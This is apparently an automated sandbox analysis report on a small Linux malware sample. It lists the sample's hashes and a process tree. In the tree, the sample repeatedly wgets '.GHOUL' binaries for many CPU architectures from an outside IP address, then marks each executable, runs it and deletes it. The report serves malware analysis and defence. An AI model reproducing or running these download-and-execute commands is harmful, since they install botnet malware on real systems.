Analysis

  • max time kernel
    3s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-06-2024 04:29

General

  • Target

    b6c102d8d3cb13f9aa55c32b4d043966_JaffaCakes118

  • Size

    1KB

  • MD5

    b6c102d8d3cb13f9aa55c32b4d043966

  • SHA1

    16bcb4f5e0b2def1e706ff586cd0b0f9166e4b4c

  • SHA256

    315c6dff5c2f03934edeeda81919c9558dcb124f1c985160e7d25fa3f01243b1

  • SHA512

    9bbb48a0a972c392ba938e7ec6a73ba6c20aa6ea6f2205b63801ee0069e4a0e1228c4fce3b6ddb6400c23081abb6df47b477c26b462820b19f9da01f29b54b27

Score
1/10

Malware Config

Signatures

Processes

  • /tmp/b6c102d8d3cb13f9aa55c32b4d043966_JaffaCakes118
    /tmp/b6c102d8d3cb13f9aa55c32b4d043966_JaffaCakes118
    1⤵
      PID:1518
      • /usr/bin/wget
        wget http://171.22.24.217/m-i.p-s.GHOUL
        2⤵
          PID:1519
        • /bin/chmod
          chmod +x m-i.p-s.GHOUL
          2⤵
            PID:1523
          • /tmp/m-i.p-s.GHOUL
            ./m-i.p-s.GHOUL
            2⤵
              PID:1524
            • /bin/rm
              rm -rf m-i.p-s.GHOUL
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://171.22.24.217/m-p.s-l.GHOUL
                2⤵
                  PID:1526
                • /bin/chmod
                  chmod +x m-p.s-l.GHOUL
                  2⤵
                    PID:1527
                  • /tmp/m-p.s-l.GHOUL
                    ./m-p.s-l.GHOUL
                    2⤵
                      PID:1528
                    • /bin/rm
                      rm -rf m-p.s-l.GHOUL
                      2⤵
                        PID:1529
                      • /usr/bin/wget
                        wget http://171.22.24.217/s-h.4-.GHOUL
                        2⤵
                          PID:1530
                        • /bin/chmod
                          chmod +x s-h.4-.GHOUL
                          2⤵
                            PID:1531
                          • /tmp/s-h.4-.GHOUL
                            ./s-h.4-.GHOUL
                            2⤵
                              PID:1532
                            • /bin/rm
                              rm -rf s-h.4-.GHOUL
                              2⤵
                                PID:1533
                              • /usr/bin/wget
                                wget http://171.22.24.217/x-8.6-.GHOUL
                                2⤵
                                  PID:1534
                                • /bin/chmod
                                  chmod +x x-8.6-.GHOUL
                                  2⤵
                                    PID:1535
                                  • /tmp/x-8.6-.GHOUL
                                    ./x-8.6-.GHOUL
                                    2⤵
                                      PID:1536
                                    • /bin/rm
                                      rm -rf x-8.6-.GHOUL
                                      2⤵
                                        PID:1537
                                      • /usr/bin/wget
                                        wget http://171.22.24.217/a-r.m-6.GHOUL
                                        2⤵
                                          PID:1538
                                        • /bin/chmod
                                          chmod +x a-r.m-6.GHOUL
                                          2⤵
                                            PID:1539
                                          • /tmp/a-r.m-6.GHOUL
                                            ./a-r.m-6.GHOUL
                                            2⤵
                                              PID:1540
                                            • /bin/rm
                                              rm -rf a-r.m-6.GHOUL
                                              2⤵
                                                PID:1541
                                              • /usr/bin/wget
                                                wget http://171.22.24.217/x-3.2-.GHOUL
                                                2⤵
                                                  PID:1542
                                                • /bin/chmod
                                                  chmod +x x-3.2-.GHOUL
                                                  2⤵
                                                    PID:1543
                                                  • /tmp/x-3.2-.GHOUL
                                                    ./x-3.2-.GHOUL
                                                    2⤵
                                                      PID:1544
                                                    • /bin/rm
                                                      rm -rf x-3.2-.GHOUL
                                                      2⤵
                                                        PID:1545
                                                      • /usr/bin/wget
                                                        wget http://171.22.24.217/a-r.m-7.GHOUL
                                                        2⤵
                                                          PID:1546
                                                        • /bin/chmod
                                                          chmod +x a-r.m-7.GHOUL
                                                          2⤵
                                                            PID:1547
                                                          • /tmp/a-r.m-7.GHOUL
                                                            ./a-r.m-7.GHOUL
                                                            2⤵
                                                              PID:1548
                                                            • /bin/rm
                                                              rm -rf a-r.m-7.GHOUL
                                                              2⤵
                                                                PID:1549
                                                              • /usr/bin/wget
                                                                wget http://171.22.24.217/p-p.c-.GHOUL
                                                                2⤵
                                                                  PID:1550
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.GHOUL
                                                                  2⤵
                                                                    PID:1551
                                                                  • /tmp/p-p.c-.GHOUL
                                                                    ./p-p.c-.GHOUL
                                                                    2⤵
                                                                      PID:1552
                                                                    • /bin/rm
                                                                      rm -rf p-p.c-.GHOUL
                                                                      2⤵
                                                                        PID:1553
                                                                      • /usr/bin/wget
                                                                        wget http://171.22.24.217/i-5.8-6.GHOUL
                                                                        2⤵
                                                                          PID:1554
                                                                        • /bin/chmod
                                                                          chmod +x i-5.8-6.GHOUL
                                                                          2⤵
                                                                            PID:1555
                                                                          • /tmp/i-5.8-6.GHOUL
                                                                            ./i-5.8-6.GHOUL
                                                                            2⤵
                                                                              PID:1556
                                                                            • /bin/rm
                                                                              rm -rf i-5.8-6.GHOUL
                                                                              2⤵
                                                                                PID:1557
                                                                              • /usr/bin/wget
                                                                                wget http://171.22.24.217/m-6.8-k.GHOUL
                                                                                2⤵
                                                                                  PID:1558
                                                                                • /bin/chmod
                                                                                  chmod +x m-6.8-k.GHOUL
                                                                                  2⤵
                                                                                    PID:1559
                                                                                  • /tmp/m-6.8-k.GHOUL
                                                                                    ./m-6.8-k.GHOUL
                                                                                    2⤵
                                                                                      PID:1560
                                                                                    • /bin/rm
                                                                                      rm -rf m-6.8-k.GHOUL
                                                                                      2⤵
                                                                                        PID:1561
                                                                                      • /usr/bin/wget
                                                                                        wget http://171.22.24.217/p-p.c-.GHOUL
                                                                                        2⤵
                                                                                          PID:1562
                                                                                        • /bin/chmod
                                                                                          chmod +x p-p.c-.GHOUL
                                                                                          2⤵
                                                                                            PID:1563
                                                                                          • /tmp/p-p.c-.GHOUL
                                                                                            ./p-p.c-.GHOUL
                                                                                            2⤵
                                                                                              PID:1564
                                                                                            • /bin/rm
                                                                                              rm -rf p-p.c-.GHOUL
                                                                                              2⤵
                                                                                                PID:1565
                                                                                              • /usr/bin/wget
                                                                                                wget http://171.22.24.217/a-r.m-4.GHOUL
                                                                                                2⤵
                                                                                                  PID:1566
                                                                                                • /bin/chmod
                                                                                                  chmod +x a-r.m-4.GHOUL
                                                                                                  2⤵
                                                                                                    PID:1567
                                                                                                  • /tmp/a-r.m-4.GHOUL
                                                                                                    ./a-r.m-4.GHOUL
                                                                                                    2⤵
                                                                                                      PID:1568
                                                                                                    • /bin/rm
                                                                                                      rm -rf a-r.m-4.GHOUL
                                                                                                      2⤵
                                                                                                        PID:1569
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://171.22.24.217/a-r.m-5.GHOUL
                                                                                                        2⤵
                                                                                                          PID:1570
                                                                                                        • /bin/chmod
                                                                                                          chmod +x a-r.m-5.GHOUL
                                                                                                          2⤵
                                                                                                            PID:1571
                                                                                                          • /tmp/a-r.m-5.GHOUL
                                                                                                            ./a-r.m-5.GHOUL
                                                                                                            2⤵
                                                                                                              PID:1572
                                                                                                            • /bin/rm
                                                                                                              rm -rf a-r.m-5.GHOUL
                                                                                                              2⤵
                                                                                                                PID:1573

                                                                                                            Network

                                                                                                            MITRE ATT&CK Matrix

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads